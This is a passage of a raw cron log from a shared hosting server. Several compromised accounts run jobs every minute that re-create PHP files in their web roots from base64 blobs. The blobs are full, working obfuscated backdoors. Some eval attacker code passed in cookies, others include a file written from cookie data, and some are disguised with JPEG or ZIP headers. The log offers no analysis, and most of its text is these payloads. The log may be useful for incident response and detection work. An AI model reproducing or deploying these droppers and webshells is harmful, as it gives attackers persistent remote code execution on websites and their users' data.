"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:06:01 medusa CROND[15368]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:06:01 medusa CROND[15369]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:06:01 medusa CROND[15377]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 02:06:01 medusa CROND[15378]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 02:06:01 medusa CROND[15379]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:07:01 medusa CROND[21764]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:07:01 medusa CROND[21765]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:07:01 medusa CROND[21766]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:07:01 medusa CROND[21767]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:07:01 medusa CROND[21768]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 02:07:01 medusa CROND[21769]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:07:01 medusa CROND[21770]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:07:01 medusa CROND[21772]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:07:01 medusa CROND[21773]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 02:07:01 medusa CROND[21777]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:07:01 medusa CROND[21778]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:07:01 medusa CROND[21775]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:08:01 medusa CROND[28406]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:08:01 medusa CROND[28408]: (root) CMD (/usr/bin/flock -n /var/run/setup_cl_plus.cronlock /usr/share/cloudlinux/cl_plus/manage_clplus &> /dev/null)
Mar  2 02:08:01 medusa CROND[28559]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 02:08:01 medusa CROND[28560]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:08:01 medusa CROND[28561]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:08:01 medusa CROND[28562]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:08:01 medusa CROND[28564]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:08:01 medusa CROND[28565]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:08:01 medusa CROND[28566]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo 